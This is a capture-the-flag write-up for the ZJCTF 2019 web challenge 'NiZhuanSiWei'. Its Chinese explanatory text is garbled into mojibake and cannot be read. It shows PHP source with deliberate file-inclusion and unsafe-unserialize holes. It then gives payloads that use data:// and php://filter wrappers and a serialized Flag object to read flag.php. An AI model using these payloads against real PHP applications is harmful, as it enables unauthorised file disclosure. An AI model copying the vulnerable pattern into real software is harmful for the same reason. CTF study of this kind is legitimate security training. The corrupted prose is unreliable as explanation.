ZJCTF 2019
Web
NiZhuanSiWei
้ข็ฎ
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>ไผชๅ่ฎฎ
้ข็ฎไธญไฝฟ็จ file_get_contents($text,'r') ๏ผๅ ๆญคๆณๅฐไฝฟ็จไผชๅ่ฎฎ่ฟ่กไผ ๅ
ฅใ
ๅฐ welcome to the zjctf ่ฟ่ก base64 ็ผ็ ๅฏไปฅๅพๅฐ d2VsY29tZSB0byB0aGUgempjdGY=
ๆ้ payload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY= ๅณๅฏ็ป่ฟ็ฌฌไธไธช if ๅคๆญ
้่ฟ useless.php ๅฏไปฅๅพ็ฅๅญๅจ่ฏฅๆไปถ๏ผๅนถไธๅญๅจๆไปถๅ
ๅซ๏ผๆ
ๅฐ่ฏไฝฟ็จ file:// ไผชๅ่ฎฎๆฅ่ทๅ useless.php ็ๆบไปฃ็ ๏ผๅณๆ้ pyaload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=php://filter/read=convert.base64-encode/resource=useless.php ใ่ฟ่ก base64 ่งฃ็ ๅๅฏไปฅๅพๅฐ useless.php ็ๆบไปฃ็
ๅๅบๅๅ
ๅฏไปฅๅ็ฐ echo $password; ไผ่งฆๅ __tostring() ้ญๆณๅฝๆฐ๏ผๅ
่ฟ่กๅบๅๅ็ๆ้
ๅฏไปฅๅพๅฐ O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}
้่ฟๆ้ payload text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&&file=useless.php&&password=O:4:"Flag":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";} ๅฐฑๅฏไปฅๅพๅฐ flag.php ็ๅ
ๅฎนๅฆไธ
้ฃไน่ฟ้ขๅฐฑ่งฃ็ญๅฎๆฏๅ๏ผ
Last updated